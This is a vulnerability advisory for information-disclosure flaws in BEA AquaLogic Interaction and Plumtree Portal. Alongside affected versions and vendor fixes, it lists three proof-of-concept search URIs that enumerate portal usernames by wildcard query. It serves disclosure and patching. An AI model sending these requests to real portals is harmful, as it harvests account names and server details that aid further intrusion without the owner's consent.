BEA AquaLogic Interaction Plumtree Portal Multiple Information Disclosure Vulnerabilities

Bugtraq ID:	26620
Class:	Design Error
CVE:	CVE-2007-6197 CVE-2007-6198
Remote:	Yes
Local:	No
Published:	Nov 28 2007 12:00AM
Updated:	Dec 05 2007 04:52PM
Credit:	Adrian Pastor <adrian.pastor [at] procheckup.com> and Jan Fry <jan.fry [at] procheckup.com> from ProCheckUp Ltd are credited with the discovery of these issues.
Vulnerable:	BEA Systems Plumtree Foundation 5.0.4 BEA Systems Plumtree Foundation 5.0.3 BEA Systems Plumtree Foundation 5.0.2 BEA Systems Plumtree Foundation 6.0 SP1 BEA Systems Plumtree Foundation 6.0 BEA Systems AquaLogic Interaction 6.1 MP1 BEA Systems AquaLogic Interaction 6.0
Not Vulnerable:

BEA AquaLogic Interaction Plumtree Portal Multiple Information Disclosure Vulnerabilities

BEA AquaLogic Interaction is prone to multiple information-disclosure vulnerabilities.

Attackers can exploit these issues to access valid usernames in the Plumtree portal as well as the server hostname, build date, and server version. Information harvested can aid in further attacks.

The following versions are vulnerable:

BEA Plumtree Foundation in the 5.0 series, version 6.0 through service pack 1 on all platforms
BEA AquaLogic Interaction 6.1 through service pack 1 on all platforms

BEA AquaLogic Interaction Plumtree Portal Multiple Information Disclosure Vulnerabilities

Attackers can exploit these issues via a browser.

The following proof-of-concept URIs are available:

https://www.example.com/portal/server.pt?in_hi_req_objtype=1&space=SearchResult&in_tx_fulltext=*&in_hi_req_ apps=1&control=advancedstart&in_hi_req_page=100&parentname=AdvancedSearch&in_ra_ topoperator=and
https://www.example.com/portal/server.pt?in_hi_req_objtype=1&space=SearchResult&in_tx_fulltext=*admin*&in_hi_ req_apps=1&control=advancedstart&in_hi_req_page=100&parentname=AdvancedSearch&in_ra_ topoperator=and
https://www.example.com/portal/server.pt?in_hi_req_objtype=1&space=SearchResult&in_tx_fulltext=*test*&in_hi_req_apps= 1&control=advancedstart&in_ hi_req_page=100&parentname=AdvancedSearch&in_ra_topoperator=and

BEA AquaLogic Interaction Plumtree Portal Multiple Information Disclosure Vulnerabilities

Solution:
The vendor released multiple advisories to address these issues. Please see the references for more information.

BEA AquaLogic Interaction Plumtree Portal Multiple Information Disclosure Vulnerabilities

References:

• BEA Downloads AquaLogic Interaction 6.1 MP1 (BEA Systems)
  
• BEA07-179.00 (BEA Systems)
  
• Vendor Homepage (BEA Systems)
  
• Fwd: PR06-08: BEA Plumtree portal internal hostname disclosure vulnerability (imipak )
  
• PR06-08: BEA Plumtree portal internal hostname disclosure vulnerability ([email protected])
  
• PR06-09: BEA Plumtree portal full version disclosure vulnerability ([email protected])
  
• PR06-11: BEA Plumtree portal search facility leaks usernames to unauthenticated ([email protected])
  
• BEA07-180.00 (BEA Systems)
  
• BEA07-181.00 (BEA Systems)